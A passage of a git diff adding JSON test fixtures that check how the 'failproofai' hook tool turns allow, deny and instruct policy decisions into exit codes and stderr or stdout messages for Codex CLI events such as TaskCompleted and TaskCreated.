"name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "MANDATORY ACTION REQUIRED from failproofai (policies: parity/policy-1, parity/policy-2): parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n\nYou MUST complete the above action(s) NOW. Do NOT ask the user for confirmation — execute the required action(s), then attempt to finish your task again.", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/TaskCompleted/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/TaskCompleted/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..07672575 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCompleted/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/TaskCompleted/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/TaskCompleted/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..0d0199f0 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCompleted/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/TaskCompleted/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/TaskCompleted/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..18c70500 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCompleted/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/TaskCompleted/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/TaskCompleted/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..a1125119 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCompleted/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/TaskCompleted/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/TaskCompleted/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..c999bf30 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCompleted/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/TaskCompleted/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/TaskCompleted/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..0a8c59bc --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCompleted/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/TaskCompleted/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/TaskCompleted/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..63ff3171 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCompleted/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/TaskCompleted/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/TaskCompleted/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..6c5c8863 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCompleted/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/TaskCompleted/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/TaskCompleted/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..3d9f3784 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCompleted/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/TaskCompleted/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/TaskCompleted/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..2f4ac3de --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCompleted/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/TaskCompleted/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/TaskCompleted/deny__tool-present__one-policy.json new file mode 100644 index 00000000..6b4c0178 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCompleted/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/TaskCompleted/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/TaskCompleted/deny__tool-present__two-policies.json new file mode 100644 index 00000000..fcdcc310 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCompleted/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/TaskCompleted/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/TaskCompleted/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..e1cdc9ea --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCompleted/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCompleted\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/TaskCompleted/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/TaskCompleted/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..2aea0fd5 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCompleted/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCompleted\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/TaskCompleted/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/TaskCompleted/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..b31d9b2c --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCompleted/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCompleted\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/TaskCompleted/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/TaskCompleted/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..8ebd5450 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCompleted/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCompleted\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/TaskCreated/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/TaskCreated/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..39a10f1f --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCreated/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/TaskCreated/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/TaskCreated/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..2c88fdb8 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCreated/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/TaskCreated/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/TaskCreated/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..1161c539 --- /dev/null +++ b/__tests__/parity/fixtures/codex/TaskCreated/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git 